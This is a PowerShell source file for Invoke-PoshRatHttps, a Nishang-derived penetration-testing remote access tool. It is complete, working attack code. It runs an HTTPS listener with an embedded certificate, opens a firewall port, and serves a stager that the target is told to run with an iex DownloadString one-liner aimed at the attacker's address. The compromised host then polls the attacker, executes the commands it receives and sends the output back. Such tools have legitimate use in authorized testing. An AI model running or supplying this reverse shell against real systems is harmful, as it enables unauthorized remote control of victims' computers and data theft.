function Invoke-PoshRatHttps
{ 
<#
.SYNOPSIS
Nishang script modified for Kautliya which can be used for Reverse interactive PowerShell from a target over HTTPS.

.DESCRIPTION
This script starts a listener on the attacker's machine. The listener listens on Port 443 by default.

On the target machine execute the below command from PowerShell:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://IPAddress:Port/connect")

The listener opens incoming traffic on the specified port. The firewall rules are named "Windows Update HTTPS".

A Base64 encoded script is hardcoded in the script, you can use the below commands for generating a certificate.
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat Root CA" -sky signature -pe -r "Root.cer" -sv "RootKey.pvk"
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat" -sky exchange -pe -ir localmachine  -iv "RootKey.pvk" -ic "Root.cer"
Export From LocalMachine Store With Private Key.
Base64 Encode File
$Content = Get-Content -Path File.pvk -Encoding Byte
$Base64Cert = [System.Convert]::ToBase64String($Content)

The script has been originally written by Casey Smith (@subTee)

.PARAMETER IPAddress
The IP address on which the listener listens. Make sure that the IP address specified here is reachable from the target.

.PARAMETER Port
The port on which the ecnrypted connection is establised. 

.EXAMPLE
PS > Invoke-PoshRatHttps -IPAddress 192.168.254.1 -Port 8443

Above shows an example where the listener starts on port 8443. On the client execute:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.254.1:8443/connect")

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-3.html
https://github.com/subTee/PoshRat
https://github.com/samratashok/nishang
#>   
    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int]
        $Port

    )


    #Certificate Setup For SSL/TLS
    #Certificate is not installed on the listener.
    $Base64Cert = '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'

    $CertPassword = 'password'
    $CertPinThumbprint = (New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)).Thumbprint


    function Receive-ClientHttpsRequest([System.Net.Sockets.TcpClient] $client)
    {
	
    
    $RemoteAddr = $client.Client.RemoteEndPoint.Address

    $clientStream = $client.GetStream()		
    $SSLStream = New-Object System.Net.Security.SslStream($clientStream , $false)

    $SSLcertfake = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)
    $SSLThumbprint = $SSLcertfake.Thumbprint

    $SSLStream.AuthenticateAsServer($SSLcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)

    $SSLbyteArray = new-object System.Byte[] 8192
    [void][byte[]] $SSLbyteClientRequest

    do 
     {
	    [int] $NumBytesRead = $SSLStream.Read($SSLbyteArray, 0, $SSLbyteArray.Length) 
	    $SSLbyteClientRequest += $SSLbyteArray[0..($NumBytesRead - 1)]  
     } while ( $clientStream.DataAvailable  )

    $SSLRequest = [System.Text.Encoding]::UTF8.GetString($SSLbyteClientRequest)

    [string[]] $SSLRequestArray = ($SSLRequest -split '[\r\n]') |? {$_} 

    [string[]] $SSLParse = $SSLRequestArray[0] -split ' '
    $SSLMethod = $SSLParse[0]
    $SSLURL = $SSLParse[1]
    $SSLResponse = 'HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

'
    if ($SSLURL -eq '/connect' -and ($SSLMethod -eq 'GET')) {
    Write-Output "Connect Request Received"
    $SSLResponse += '
$SSLThumbprint = "'+$SSLThumbprint+'"

function Invoke-CertCheck()
{	
	$Uri = "https://' + $IPAddress+':'+$Port + '/rat"
	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
	$request = [System.Net.HttpWebRequest]::Create($uri)
	$request.GetResponse().Dispose()
	$servicePoint = $request.ServicePoint
	[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert = $servicePoint.Certificate
	return $cert.Thumbprint
}

$p = [System.Net.WebRequest]::GetSystemWebProxy()
$s = "https://' + $IPAddress+':'+$Port + '/rat"
$w = New-Object Net.WebClient 
$w.Proxy = $p
$r = "hostname" 
do
{
	
	while($r) {
		[string]$o = invoke-expression $r | out-string 
		$w.UploadString($s, $o)	| out-null
		break
	}
	$r = $w.DownloadString($s) 
} while($true)

'

}		 

    if ($SSLURL -eq '/rat' -and ($SSLMethod -eq "POST") ) { 
    Write-Output ([System.Text.Encoding]::Ascii.GetString($SSLbyteClientRequest))
    }
    if ($SSLUrl -eq '/rat' -and ($SSLMethod-eq "GET")) {  
	
    $Command = Read-Host "PS $RemoteAddr>"
    $SSLResponse += "$Command"


    }

    [byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
    $SSLStream.Write($Buffer, 0, $Buffer.length)

    $Client.Close()
    }


    $endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, $Port)
    $listener = New-Object System.Net.Sockets.TcpListener $endpoint

    #This sets up a local firewall rule to suppress the Windows "Allow Listening Port Prompt"
    netsh advfirewall firewall delete rule name="PoshRat Server $Port" | Out-Null #First Run May Throw Error...Thats Ok..:)
    netsh advfirewall firewall add rule name="PoshRat Server $Port" dir=in action=allow protocol=TCP localport=$Port | Out-Null

    $listener.Start()
    Write-Output "Listening on $Port"
    Write-Output $CertPinThumbprint
    $Client = New-Object System.Net.Sockets.TcpClient
    $Client.NoDelay = $true

    while($true)
    {

    $Client = $listener.AcceptTcpClient()
    if($Client -ne $null)
    {
	    Receive-ClientHttpsRequest $Client
    }

    }
}